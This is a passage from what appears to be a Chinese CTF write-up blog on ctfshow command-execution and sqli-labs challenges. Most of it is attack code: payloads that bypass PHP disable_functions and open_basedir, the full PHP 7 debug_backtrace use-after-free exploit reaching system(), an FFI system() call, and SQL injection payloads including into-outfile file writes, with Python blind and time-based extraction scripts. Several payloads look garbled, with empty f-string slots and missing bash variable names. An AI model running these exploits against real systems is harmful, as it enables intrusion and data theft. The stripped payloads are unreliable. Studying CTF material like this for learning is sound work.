是-1,因为对上面对-2进行取反在$(())放入37个$((~$(())))就可以变成-37,然后对其取反得到36$((~$(( $((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(()))) ))))几张关于取反的图注意本题是POST类型,接下来绕过disable_functions,即被禁止的函数file_get_contents() highlight_file() show_source() fgets() file() readfile()paylaod有很多c=echo highlight_file('flag.php'); c=show_source("flag.php"); c=highlight_file("flag.php");使用58中的payload也可以来获得,但是也可以使用fopenc=$a=fopen("flag.php","r");while (!feof($a)) c=$a=fopen("flag.php","r");while (!feof($a)) c=$a=fopen("flag.php","r");while (!feof($a)) c=$a=fopen("flag.php","r");echo fread($a,"1000"); c=$a=fopen("flag.php","r");echo fpassthru($a);58中的函数,或者复制重命名读取//通过复制,重命名读取php文件内容(函数执行后,访问url/flag.txt) copy() rename() //用法: copy("flag.php","flag.txt"); rename("flag.php","flag.txt"); 同58同58同58同58同58代码无变化,但是上面的payload都无法使用c=print_r(scandir("/"));先看看目录,使用 c=print_r(scandir("/")); 失败,使用c=var_dump(scandir("/")); 成功然后直接highlight_file读取 payload:c=var_dump(scandir("/"));highlight_file("/flag.txt");各种都文件的都被禁用了,但是可以使用文件包含先看一下文件目录c=var_dump(scandir("/"));,发现有flag.txt直接使用文件包含c=include("/flag.txt");是txt就直接包含,是php就base64包含这个地方无法查看目录了,但是可以遍历查看,直接使用文件包含c= $a=scandir("/"); foreach($a as $value){ echo $value." "; } #scandir c= $a=glob("/*"); foreach($a as $value){ echo $value." "; } #glob c= $a=new DirectoryIterator('glob:///*'); foreach($a as $f){ echo($f->__toString()." "); } #一种骚操作直接文件包含贴一下代码<?php error_reporting(0); ini_set('display_errors', 0); // 你们在炫技吗? if(isset($_POST['c'])){ $c= $_POST['c']; eval($c); $s = ob_get_contents(); ob_end_clean(); echo preg_replace("/[0-9]|[a-z]/i","?",$s); }else{ highlight_file(__FILE__); } ?> 你要上天吗?如果继续执行,flag就会被替换。获得flag后直接退出程序用exit或者die提前结束进程,使得后面的代码不会被执行 c=include("/flag.txt");exit(); c=include("/flag.txt");die();看起来代码没有改变,其实有变化。文件存在open_basedir:open_basedir将PHP所能打开的文件限制在指定的目录树中,包括文件本身。利用glob伪协议在筛选目录时不受open_basedir制约,获得所有的目录c= $a=new DirectoryIterator("glob:///*"); foreach($a as $f){ echo $f." " ; } exit();知道了文件是flag0.txt后绕过open_basedir和disable_functions。利用的是php7-backtrace-bypass,原始脚本如下php7-backtrace-bypass不过其中的一些函数也被ban了,出题人魔改了:<?php # PHP 7.0-7.4 disable_functions bypass PoC (*nix only) # # Bug: https://bugs.php.net/bug.php?id=76047 # debug_backtrace() returns a reference to a variable # that has been destroyed, causing a UAF vulnerability. # # This exploit should work on all PHP 7.0-7.4 versions # released as of 30/01/2020. # # Author: https://github.com/mm0r1 pwn("uname -a"); function pwn($cmd) { global $abc, $helper, $backtrace; class Vuln { public $a; public function __destruct() { global $backtrace; unset($this->a); $backtrace = (new Exception)->getTrace(); # ;) if(!isset($backtrace[1]['args'])) { # PHP >= 7.4 $backtrace = debug_backtrace(); } } } class Helper { public $a, $b, $c, $d; } function str2ptr(&$str, $p = 0, $s = 8) { $address = 0; for($j = $s-1; $j >= 0; $j--) { $address <<= 8; $address |= ord($str[$p+$j]); } return $address; } function ptr2str($ptr, $m = 8) { $out = ""; for ($i=0; $i < $m; $i++) { $out .= sprintf("%c",($ptr & 0xff)); $ptr >>= 8; } return $out; } function write(&$str, $p, $v, $n = 8) { $i = 0; for($i = 0; $i < $n; $i++) { $str[$p + $i] = sprintf("%c",($v & 0xff)); $v >>= 8; } } function leak($addr, $p = 0, $s = 8) { global $abc, $helper; write($abc, 0x68, $addr + $p - 0x10); $leak = strlen($helper->a); if($s != 8) return $leak; } function parse_elf($base) { $e_type = leak($base, 0x10, 2); $e_phoff = leak($base, 0x20); $e_phentsize = leak($base, 0x36, 2); $e_phnum = leak($base, 0x38, 2); for($i = 0; $i < $e_phnum; $i++) { $header = $base + $e_phoff + $i * $e_phentsize; $p_type = leak($header, 0, 4); $p_flags = leak($header, 4, 4); $p_vaddr = leak($header, 0x10); $p_memsz = leak($header, 0x28); if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write # handle pie $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr; $data_size = $p_memsz; } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec $text_size = $p_memsz; } } if(!$data_addr || !$text_size || !$data_size) return false; return [$data_addr, $text_size, $data_size]; } function get_basic_funcs($base, $elf) { list($data_addr, $text_size, $data_size) = $elf; for($i = 0; $i < $data_size / 8; $i++) { $leak = leak($data_addr, $i * 8); if($leak - $base > 0 && $leak - $base < $data_addr - $base) { $deref = leak($leak); # 'constant' constant check if($deref != 0x746e6174736e6f63) continue; } else continue; $leak = leak($data_addr, ($i + 4) * 8); if($leak - $base > 0 && $leak - $base < $data_addr - $base) { $deref = leak($leak); # 'bin2hex' constant check if($deref != 0x786568326e6962) continue; } else continue; return $data_addr + $i * 8; } } function get_binary_base($binary_leak) { $base = 0; $start = $binary_leak & 0xfffffffffffff000; for($i = 0; $i < 0x1000; $i++) { $addr = $start - 0x1000 * $i; $leak = leak($addr, 0, 7); if($leak == 0x10102464c457f) { # ELF header return $addr; } } } function get_system($basic_funcs) { $addr = $basic_funcs; do { $f_entry = leak($addr); $f_name = leak($f_entry, 0, 6); if($f_name == 0x6d6574737973) { # system return leak($addr + 8); } $addr += 0x20; } while($f_entry != 0); return false; } function trigger_uaf($arg) { # str_shuffle prevents opcache string interning $arg =str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'); $vuln = new Vuln(); $vuln->a = $arg; } if(stristr(PHP_OS, 'WIN')) { die('This PoC is for *nix systems only.'); } $n_alloc = 10; # increase this value if UAF fails $contiguous = []; for($i = 0; $i < $n_alloc; $i++) $contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'); trigger_uaf('x'); $abc = $backtrace[1]['args'][0]; $helper = new Helper; $helper->b = function ($x) ; if(strlen($abc) == 79 || strlen($abc) == 0) { die("UAF failed"); } # leaks $closure_handlers = str2ptr($abc, 0); $php_heap = str2ptr($abc, 0x58); $abc_addr = $php_heap - 0xc8; # fake value write($abc, 0x60, 2); write($abc, 0x70, 6); # fake reference write($abc, 0x10, $abc_addr + 0x60); write($abc, 0x18, 0xa); $closure_obj = str2ptr($abc, 0x20); $binary_leak = leak($closure_handlers, 8); if(!($base = get_binary_base($binary_leak))) { die("Couldn't determine binary base address"); } if(!($elf = parse_elf($base))) { die("Couldn't parse ELF header"); } if(!($basic_funcs = get_basic_funcs($base, $elf))) { die("Couldn't get basic_functions address"); } if(!($zif_system = get_system($basic_funcs))) { die("Couldn't get zif_system address"); } # fake closure object $fake_obj_offset = 0xd0; for($i = 0; $i < 0x110; $i += 8) { write($abc, $fake_obj_offset + $i, leak($closure_obj, $i)); } # pwn write($abc, 0x20, $abc_addr + $fake_obj_offset); write($abc, 0xd0 + 0x38, 1, 4); # internal func type write($abc, 0xd0 + 0x68, $zif_system); # internal func handler ($helper->b)($cmd); exit(); }讲这个函数进行url编码进行传输就可解得payload:c=urlencode(php7-backtrace-bypass)直接查看目录和cat flag.txt文件,不能直接print出来,只能去遍历c= $a=glob("/*"); foreach($a as $value){ echo $value." "; };die(); #遍历得到flag c=include("/flagc.txt");exit(); #包含获得方法同上,但是文件变成了flagx.txt查看文件在flag36.txt ,有的师傅使用前面的姿势是可以拿到的。但是我这个菜鸡拿不到只能解锁新姿势大师傅们说数据库的连接是读配置文件得到的,我觉得也是读鬼的配置文件才能拿到,反正我是第一次见使用数据库的账号密码读flagc= try { $dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root', 'root'); foreach ($dbh->query('select load_file("/flag36.txt")') as $row) { echo ($row[0]) . "|"; } $dbh = null; } catch (PDOException $e) { echo $e->getMessage(); exit(0); } exit(0);同75,但是flag文件变成了flag36d.txt有师傅直接看成是php7.4,本菜鸡用的一个插件发现的。很容易想到利用FFI来绕过disable_functions。然后奉上脚本,这个题目是没有回显的,但是有写的权限,可以直接访问1.txtc= $a=new DirectoryIterator("glob:///*"); foreach($a as $f){ echo $f." " ; } $ffi = FFI::cdef( "int system(const char *command);"); $ffi->system("/readflag > 1.txt"); exit();web 入门118. 知识盲区:经过一系列的fuzz,可以发现过滤了小写字母,数字还有一些字符。因为windows不区分大小写,但是linux是区分大小写的,所以大小写不能绕过,/也被过滤了,我就不会了。。看了一下WP,利用的是linux的bash内置变量还有关于它的一些知识点。具体的内置变量可以输入env查看,不过env是所有的环境变量,而内置变量知识环境变量的一部分。常见 Bash 内置变量介绍Linux 基础知识:Bash的内置变量正常可以利用切片来获得所需要的字母,但是过滤了数字。可以利用字母,在这里用字母就等同于数字0。然后使用取反号获得。$在这题肯定是/var/www/html,而$通常是bin,结尾,因此就可以构造命令nl:code=$$ ????.??? #就是$ 即构造了n $构造了l,然后使用通配符匹配flag.php,或者flag.txt但是我使用本机kali创建的是slweb119. 在上一题的基础上过滤了PATH还有BASH构造数字方面$ #首先大写字母等同于0,所以0是有的。不加#是变量的值,加了#是变量的值的长度。既然linux存在那么多的bash内置变量,那么长度肯定也是很多的,再加上各种变形和套娃,我觉得甚至0-9都取到也不是很难。--据某大佬说这里大师傅们用了这两个内置变量:RANDOM和SHLVL。RANDOM此变量值,随机出现整数,范围为0-32767。不过,虽然说是随机,但并不是真正的随机,因为每次得到的随机数都一样。为此,在使用RANDOM变量前,请随意设定一个数字给RANDOM,当做随机数种子,这样才不会每次产生的随机数其顺序都一样。SHLVL 是记录多个 Bash 进程实例嵌套深度的累加器 默认值是1yu师傅使用的是/bin/base64 flag.php,因此考虑构造出/和数字4就可以了,当然数字6也不是不能构造。最终payload如下:code=$}???$}?????$ ????.???ctfshow菜鸡给出的如下,构造/bin/cat flag.php$:$} ====> t $:$} ====> / /bin/cat flag.php $:$}???$:$}??$:$} ????.???web 120.之前的题目和这题的hint中因为都用到了一些不可预测的变量,比如HOME,HOSTNAME,还有这题的USER。不同环境肯定不同,而且因为这题没法输出,你很难得到这些的值,只能靠猜,所以就没有去深究hint。 --据某大佬没研究,直接上payload:$}???$}?$? ????.???web 121. SHLVL被ban了,想办法去构造1。测试$可以得到1yu师傅的姿势,用的是$$? 用途:上一条命令执行结束后的传回值。通常0代表执行成功,非0代表执行有误。IFS作用用途:定义字段分隔字符。默认值为:空格符、tab字符、换行字符(newline)。长度为3,而PWD是/var/www/html,正好可以取到r,用/bin/rev这个命令来读flag.php。rev这个命令又是姿势盲区了,查了一下,是把文件中每行逆序输出读取,又学到一种文件读取的姿势了。这个时候输出的为逆序a='}b01635aa4c73-faf9-2da4-ee97-ea1af297{wohsftc' a[::-1] #Python进行逆转web 122. 被过滤的东西吓到了,这么多$?,获取上一条命令执行结束后的返回值,0代表成功,非0代表失败。而且这个返回值原来是可控的yu师傅说$的报错在本地返回时1,但是题目环境是2,所以放开了<<A的报错返回也是1,所以就成功得到了数字1,至于数字4拿RANDOM随机就可以了。看一下本地的返回值构建的payload如下,获得flag的时候快破防了,post很多次才获得flag的base64加密密文<A;$???$?????$ ????.???进入进行代码审计发现长度不能超过80不能有奇奇怪怪的字符给了数学公式,利用数学公式进行RCR进制转换base_convert 构造system<?php echo base_convert("system",36,10); #结果:1751504350这样的话就得到system了,执行ls就?c=base_convert(1751504350,10,36)(base_convert(784,10,36))空格和/利用异或来构造<?php $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh']; $whitelist2 = [ 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh','abs']; foreach ($whitelist as $i): foreach ($whitelist2 as $k): echo $k^$i^" /flag"; echo " " . $i . " " . $k; echo "<br/>"; endforeach; endforeach;获取当前请求头的全部HTTP请求头信息getallheaders得到payload:?c=$pi=base_convert,$pi(1751504350,10,36)($pi(8768397090111664438,10,30)())首先是利用$pi这个变量来缩短长度,然后是base_convert(1751504350,10,36),得到的是system,base_convert(8768397090111664438,10,30)得到的是getallheaders,至于为什么是30进制,因为这个:Warning由于使用内部的 “double” 或 “float” 类型,base_convert() 的操作可能会导致大数值中的精度丢失。请参见本手册的 浮点数 章节以便获得更多详细信息。经过大师父们的测试,31-36进制的getallheaders都会出现精度丢失导致不能成功得到getallheaders,30进制的时候就可以了。然后就是http头里面加一个:1:cat /flag。复现失败了,不知道哪里有问题也可以使用GET方法获得flag ,payload如下?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi)(($$pi))&pi=system&abs=cat /flag // base_convert(37907361743,10,36) -> hex2bin // dechex(1598506324) -> 5f474554 // hex2bin("5f474554") -> _GET #$pi 的值为 hex2bin("5f474554") ,$$pi 也就是 $hex2bin("5f474554") -> $_GET ,变成了预定义变量。也失败了hhh。两种办法都不返回flag
2021年09月16日
4 阅读
1 评论
0 点赞
2021-09-14
ctfshow之sqli-labs
SQL-Labs爆破库名,information_schema这个系统库存放所有的库信息,union联合注入,将两个sql语句进行联合。前后的两个语句选择列数相同。union all增加了去重功能。两个语句联合操作,当前面的数据为空,可以输出后面语句的内容。?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata-- - # 爆库 ?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='ctfshow'-- - #爆表 ?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='flag'-- - # 爆列名 ?id=-1' union select 1,group_concat(flag),3 from ctfshow.flag-- - #爆字段爆破如同517,但是本题目为数字,需要去掉“-1'"里面的单引号,同时表名字段名也都更换使用‘)进行闭合,同时表名字段名也都更换使用“)进行闭合,同时表名字段名进行更换布尔盲注无法通过报错来返回信息,只能返回true或者false。这时候可以一位一位的测试数据库的库、列、表。使用脚本进行判断,如果判断为真则会返回为真的界面,否则返回为假的页面或者不返回。下面的注入为1时也就是真会返回"You are in..........."下面的注入不存在时报错"You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '' LIMIT 0,1' at line 1"当去尝试获得数据库的长度的时候发现没有任何返回,继续尝试获得数据库的长度,测试为8的时候返回为“Ture”。这个时候使用left()函数进行注入,函数有两个参数,第一个为字符串截取的对象,第二个是从左到右第几个字母,最后测得为s这个时候如法炮制,需要使用脚本,一般使用二分法在payload中,substr()函数的作用是依次截取每一个字符,确定它们的ascii码值,然后用ascii()函数将其转换成对应的字符;如果发现有you are in....出现,则说明对应的字符ascii值大于low和high的均值,则low值变为mid+1,如果未出现,说明小于,将mid赋给hiimport requests if __name__ == '__main__': url = 'http://28c313d6-1841-4035-adab-c84443e19961.challenge.ctf.show:8080/?id=1%22and%20' result = '' i = 0 while True: i = i + 1 low = 32 high = 127 while low < high: mid = (low + high) // 2 # payload = f'if(ascii(substr((select group_concat(schema_name) from information_schema.schemata),,1))>,1,0)%23' # payload = f'if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema="ctfshow"),,1))>,1,0)%23' # payload = f'if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name="flagpa"),,1))>,1,0)%23' payload = f'if(ascii(substr((select group_concat(flag3a3) from ctfshow.flagpa),,1))>,1,0)%23' # print(payload) r = requests.get(url=url + payload) if 'You are in...........' in r.text: low = mid + 1 else: high = mid if low != 32: result += chr(low) else: break print(result)accii码对 %20 ‘ ’ %27 ' %22 "题型和521相似,sql盲注写脚本这个题是无法通过回显来获得的注入的时候是使用[hi]写入html目录下去访问这个txt获得flag [/hi]?id=1')) union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='ctfshow' into outfile "/var/www/html/1.txt"-- - #去获得一个数据库的表 ?id=1')) union select 1,2,group_concat(column_name) from information_schema.columns where table_name='flagdk' into outfile "/var/www/html/2.txt"-- - #去获得一个表的全部字段 ?id=1')) union select 1,2,group_concat(flag43) from ctfshow.flagdk into outfile "/var/www/html/3.txt"-- - #去获得字段的全部内容但是无法爆出全部的库名?id=1')) union select 1,2,group_concat(schema_name) from information_schema.schemata into outfile "/var/www/html/3.txt"-- - #爆出全部的库名题目和521重复时间盲注,通过sleep()函数,如果正确就睡几秒,错误就立即加载页面,也是可以写一个脚本去跑延迟注入,是一种盲注的手法, 提交对执行时间铭感的函数sql语句,通过执行时间的长短来判断是否执行成功,比如:正确的话会导致时间很长,错误的话会导致执行时间很短,这就是所谓的高级盲注.SQLMAP、穿山甲、胡萝卜等主流注入工具可能检测不出,只能手工检测,利用脚本程序跑出结果。使用"进行闭合本题应该和525相同,但是因为网络无法通过时间判断本题使用在用户名处进行post注入,hackbar无法进行抓包,所以使用Bp进行抓包来注入。uname=admin' union select 1,group_concat(table_name) from information_schema.tables where table_schema='ctfshow'#&passwd=1 #获得表名 uname=admin' union select 1,group_concat(column_name) from information_schema.columns where table_name='flagugsd'#&passwd=1 #获得字段名字 uname=admin' union select 1,group_concat(flag43s) from ctfshow.flagugsd#&passwd=1 #获得flag这个地方去可以去爆库,但是回显的时候发现username和password都回显,且1为username,2为password。但是经测试只有2回显可以使用,且回显在password位置同27题,但是使用[hi]")[/hi]进行闭合成功也没有回显,但是失败后会有提示,且成功悔返回一个flag.jpg的图片,失败会返回一个slap.jpg图片import requests if __name__ == '__main__': url = 'http://9301abaf-d8ee-4cc9-a060-6aad4a35035b.challenge.ctf.show:8080' result = '' i = 0 while True: i = i + 1 low = 32 high = 127 while low < high: mid = (low + high) // 2 # payload = f'if(ascii(substr((select group_concat(schema_name) from information_schema.schemata),,1))>,1,0)' # payload = f'if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema="ctfshow"),,1))>,1,0)' # payload = f'if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name="flag"),,1))>,1,0)' payload = f'if(ascii(substr((select group_concat(flag4) from ctfshow.flag),,1))>,1,0)' # print(payload) data = { 'uname': f"admin') and #", 'passwd': '123' } # print(data['uname']) r = requests.post(url=url, data=data) if 'flag.jpg' in r.text: low = mid + 1 else: high = mid if low != 32: result += chr(low) else: break print(result)   [hi]"[/hi]闭合import requests if __name__ == '__main__': url = 'http://240d4931-ff0b-405b-a741-91f392e537cd.challenge.ctf.show:8080/' result = '' i = 0 while True: i = i + 1 low = 32 high = 127 while low < high: mid = (low + high) // 2 # payload = f'if(ascii(substr((select group_concat(schema_name) from information_schema.schemata),,1))>,1,0)' # payload = f'if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema="ctfshow"),,1))>,1,0)' # payload = f'if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name="flagb"),,1))>,1,0)' payload = f'if(ascii(substr((select group_concat(flag4s) from ctfshow.flagb),,1))>,1,0)' # print(payload) data = { 'uname': f'admin" and #', 'passwd': '123' } # print(data['uname']) r = requests.post(url=url, data=data) if 'flag.jpg' in r.text: low = mid + 1 else: high = mid if low != 32: result += chr(low) else: break print(result)[hi]’[/hi]闭合import requests if __name__ == '__main__': url = 'http://a70f0c66-19e8-497f-87d7-fdcf275647fa.challenge.ctf.show:8080/' result = '' i = 0 while True: i = i + 1 low = 32 high = 127 while low < high: mid = (low + high) // 2 # payload = f'if(ascii(substr((select group_concat(schema_name) from information_schema.schemata),,1))>,1,0)' # payload = f'if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema="ctfshow"),,1))>,1,0)' # payload = f'if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name="flagba"),,1))>,1,0)' payload = f'if(ascii(substr((select group_concat(flag4sa) from ctfshow.flagba),,1))>,1,0)' # print(payload) data = { 'uname': f"admin' and #", 'passwd': '123' } # print(data['uname']) r = requests.post(url=url, data=data) if 'flag.jpg' in r.text: low = mid + 1 else: high = mid if low != 32: result += chr(low) else: break print(result)这题是时间盲注,因为无论正不正确,下面的图片都是fail,利用sleep()函数手动试出是")闭合import requests if __name__ == '__main__': url = 'http://59b43bf0-9578-454a-a79c-dc89b97ca7ae.challenge.ctf.show:8080/' result = '' i = 0 while True: i = i + 1 low = 32 high = 127 while low < high: mid = (low + high) // 2 # payload = f'if(ascii(substr((select group_concat(schema_name) from information_schema.schemata),,1))>,sleep(0.2),0)' # payload = f'if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema="ctfshow"),,1))>,sleep(0.2),0)' # payload = f'if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name="flagbab"),,1))>,sleep(0.2),0)' payload = f'if(ascii(substr((select group_concat(flag4sa) from ctfshow.flagbab),,1))>,sleep(1),0)' # print(payload) data = { 'uname': f'admin") and #', 'passwd': '123' } # print(data['uname']) try: r = requests.post(url=url, data=data, timeout=0.5) high = mid except: low = mid + 1 if low != 32: result += chr(low) else: break print(result)报错注入,并不会$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; $result=mysql_query($sql); $row = mysql_fetch_array($result); if($row){ echo 'You are in...........'; }else{ print_r(mysql_error()); //报错信息 }uname=admin&passwd=1' and updatexml(1,concat(0x7e,(select (table_name) from information_schema.tables where table_schema='ctfshow'),0x7e),1)-- - 爆表 uname=admin&passwd=1' and updatexml(1,concat(0x7e,(select (column_name) from information_schema.columns where table_name='flag'),0x7e),1)-- - 爆字段 uname=admin&passwd=1' and updatexml(1,concat(0x7e,(select (flag4) from ctfshow.flag),0x7e),1)-- - #只能显示左边一部分的字段 uname=admin&passwd=1' and updatexml(1,concat(0x7e,(select right(flag4,20) from ctfshow.flag),0x7e),1)-- - #能够显示右边字段的信息当输入账号密码都为admin时返回ua头(在不知道密码的时候如何注入UA),可能是ua注入' and updatexml(1,concat(0x7e,(select(table_name) from information_schema.tables where table_schema='ctfshow'),0x7e),1) and '1'='1 #获得表名 ' and updatexml(1,concat(0x7e,(select(column_name) from information_schema.columns where table_name='flag' limit 1,1),0x7e),1) and '1'='1 #获得字段名 ' and updatexml(1,concat(0x7e,(select(flag4) from ctfshow.flag),0x7e),1) and '1'='1 #只能' and updatexml(1,concat(0x7e,(select right (flag4,20) from ctfshow.flag),0x7e),1) and '1'='1 #获得一部分的flag所以需要使用以下命令获得右部分flag Refrer注入,但是需要讲账号密码都要填入admin才能发生回显' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema="ctfshow"),0x7e)) and '1'='1 #获得表 ' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name="flag"),0x7e)) and '1'='1 #获得字段 ' and extractvalue(1,concat(0x7e,(select group_concat(flag4) from ctfshow.flag),0x7e)) and '1'='1 #获得左边的flag ' and extractvalue(1,concat(0x7e,(select right(flag4,20) from ctfshow.flag),0x7e)) and '1'='1 #获得右边flagCookie注入,输入正确的密码为admin和admin则会返回cookie,cookie注入uname=admin' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='ctfshow'),0x7e))-- - #获得所有的表 uname=admin' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='flag'),0x7e))-- - #获得所有的字段 uname=admin' and extractvalue(1,concat(0x7e,(select right(flag4,20) from ctfshow.flag),0x7e))-- - #获得右边的flag在上个题的基础上增加了base64加密,只要对命令进行base64加密uname=YWRtaW4nKSBhbmQgZXh0cmFjdHZhbHVlKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBncm91cF9jb25jYXQodGFibGVfbmFtZSkgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEudGFibGVzIHdoZXJlIHRhYmxlX3NjaGVtYT0nY3Rmc2hvdycpLDB4N2UpKS0tIC0N uname=YWRtaW4nKSBhbmQgZXh0cmFjdHZhbHVlKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBncm91cF9jb25jYXQoY29sdW1uX25hbWUpIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLmNvbHVtbnMgd2hlcmUgdGFibGVfbmFtZT0nZmxhZycpLDB4N2UpKS0tIC0N uname=YWRtaW4nKSBhbmQgZXh0cmFjdHZhbHVlKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBncm91cF9jb25jYXQoZmxhZzQpIGZyb20gY3Rmc2hvdy5mbGFnKSwweDdlKSktLSAtDQ== uname=YWRtaW4nKSBhbmQgZXh0cmFjdHZhbHVlKDEsY29uY2F0KDB4N2UsKHNlbGVjdCByaWdodChmbGFnNCwyMCkgZnJvbSBjdGZzaG93LmZsYWcpLDB4N2UpKS0tIC0N
2021年09月14日
11 阅读
1 评论
0 点赞
1
2